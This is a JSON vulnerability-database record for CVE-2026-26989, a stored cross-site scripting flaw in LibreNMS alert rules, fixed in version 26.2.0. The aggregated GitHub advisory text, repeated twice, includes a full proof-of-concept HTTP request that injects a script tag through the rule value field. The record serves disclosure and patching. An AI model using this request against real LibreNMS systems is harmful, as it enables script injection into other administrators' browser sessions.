{"id":"CVE-2026-26989","aliases":["EUVD-2026-8038","GHSA-6xmx-xr9p-58p7"],"status":"published","title":"LibreNMS has Stored XSS in Alert Rule","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.","severity":{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00275,"percentile":0.20122,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-02-18T22:30:32Z","modified":"2026-10-28T02:30:20Z","fixes":[{"ecosystem":"Packagist","package":"librenms/librenms","fixed_in":["26.2.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"25.12.0"},{"fixed":"26.2.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"librenms/librenms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"26.2.0"}]}],"versions":["1.19","1.20","1.20.1","1.21","1.22","1.22.01","1.23","1.24","1.25","1.26","1.27","1.28","1.29","1.30","1.30.01","1.31","1.31.01","1.31.02","1.31.03","1.32","1.32.01","1.33","1.33.01","1.34","1.35","1.36","1.36.01","1.37","1.38","1.39","1.40","1.41","1.42","1.42.01","1.43","1.44","1.45","1.46","1.47","1.48","1.48.1","1.49","1.50","1.50.1","1.51","1.52","1.53","1.53.1","1.54","1.55","1.56","1.57","1.58","1.58.1","1.59","1.60","1.61","1.62","1.62.1","1.62.2","1.63","1.64","1.64.1","1.65","1.65.1","1.66","1.67","1.68","1.69","1.70.0","1.70.1","21.1.0","21.10.0","21.10.1","21.10.2","21.11.0","21.12.0","21.12.1","21.2.0","21.3.0","21.4.0","21.5.0","21.5.1","21.6.0","21.7.0","21.8.0","21.9.0","21.9.1","22.1.0","22.10.0","22.11.0","22.12.0","22.2.0","22.2.1","22.2.2","22.3.0","22.4.0","22.4.1","22.5.0","22.6.0","22.7.0","22.8.0","22.9.0","23.1.0","23.1.1","23.10.0","23.11.0","23.2.0","23.4.0","23.4.1","23.5.0","23.6.0","23.7.0","23.8.0","23.8.1","23.8.2","23.9.0","23.9.1","24.1.0","24.10.0","24.10.1","24.11.0","24.12.0","24.2.0","24.3.0","24.4.0","24.4.1","24.5.0","24.6.0","24.7.0","24.8.0","24.8.1","24.9.0","24.9.1","25.1.0","25.10.0","25.11.0","25.12.0","25.2.0","25.3.0","25.4.0","25.5.0","25.6.0","25.7.0","25.8.0","25.9.0","25.9.1","26.1.0","26.1.1"]}],"products":[{"vendor":"librenms","product":"librenms"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-6xmx-xr9p-58p7","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/librenms/librenms/pull/19039","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/librenms/librenms/commit/087608cf9f851189847cb8e8e5ad002e59170c58","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.2.0","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26989","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6xmx-xr9p-58p7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/26xxx/CVE-2026-26989.json","tags":["advisory"]},{"url":"https://github.com/librenms/librenms","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-26989","title":"LibreNMS has Stored XSS in Alert Rule","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T01:25:31.936Z","modified":"2026-02-20T15:34:55.873Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-8038","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T01:25:31Z","modified":"2026-02-20T15:34:55Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-02T19:48:37.056368Z"}],"ghsa":[{"id":"GHSA-6xmx-xr9p-58p7","title":"LibreNMS has a Stored XSS in Alert Rule","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (\u003c= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n\u003ctd\u003e\u003ci\u003e\" . e($rule_display) . \"\u003c/i\u003e\u003c/td\u003e\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\u0026device_id=1\u0026device_name=127.0.0.1\u0026rule_id=\u0026builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D\u0026name=Test+rule\u0026builder_rule_0_filter=access_points.accesspoint_id\u0026builder_rule_0_operator=equal\u0026builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E\u0026severity=warning\u0026count=1\u0026delay=1m\u0026interval=5m\u0026recovery=on\u0026acknowledgement=on\u0026maps%5B%5D=1\u0026proc=\u0026notes=\u0026adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n\u003cimg width=\"893\" height=\"325\" alt=\"image\" src=\"https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea\" /\u003e\n\n2. Injected JavaScript is executed:\n\u003cimg width=\"1104\" height=\"565\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b\" /\u003e\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.","status":"published","published":"2026-02-18T22:30:32Z","modified":"2026-02-20T16:50:56Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:26.881079Z"}],"nvd":[{"id":"CVE-2026-26989","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T02:16:54.71Z","modified":"2026-06-17T10:26:29.817Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:06.63895Z"}],"osv":[{"id":"CVE-2026-26989","title":"LibreNMS has Stored XSS in Alert Rule","description":"LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.","status":"published","published":"2026-02-20T01:25:31.936Z","modified":"2026-10-28T02:30:20.618734157Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:59.80315Z"},{"id":"GHSA-6xmx-xr9p-58p7","title":"LibreNMS has a Stored XSS in Alert Rule","description":"### Summary\nA stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (\u003c= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.\n\n### Details\nThe stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`.\n```\n\u003ctd\u003e\u003ci\u003e\" . e($rule_display) . \"\u003c/i\u003e\u003c/td\u003e\n```\n\n### PoC\n\nRequest PoC:\n```\nPOST /alert-rule HTTP/1.1\nHost: 192.168.236.131\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\nX-Requested-With: XMLHttpRequest\nContent-Length: 718\nOrigin: http://192.168.236.131\nConnection: keep-alive\nReferer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules\nCookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D\nPriority: u=0\n\n_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF\u0026device_id=1\u0026device_name=127.0.0.1\u0026rule_id=\u0026builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D\u0026name=Test+rule\u0026builder_rule_0_filter=access_points.accesspoint_id\u0026builder_rule_0_operator=equal\u0026builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E\u0026severity=warning\u0026count=1\u0026delay=1m\u0026interval=5m\u0026recovery=on\u0026acknowledgement=on\u0026maps%5B%5D=1\u0026proc=\u0026notes=\u0026adv_query=\n```\n\nSteps to reproduce:\n1. Create and save an alert rule within a device with the following values:\n\u003cimg width=\"893\" height=\"325\" alt=\"image\" src=\"https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea\" /\u003e\n\n2. Injected JavaScript is executed:\n\u003cimg width=\"1104\" height=\"565\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b\" /\u003e\n\n\n\n### Impact\nType: Stored Cross-Site Scripting (XSS)\nAffected users: Only accounts with the admin role which can edit a device's alert rules are affected.\nAttackers need: Authenticated admin-level access.","status":"published","published":"2026-02-18T22:30:32Z","modified":"2026-02-20T17:11:19.964118Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}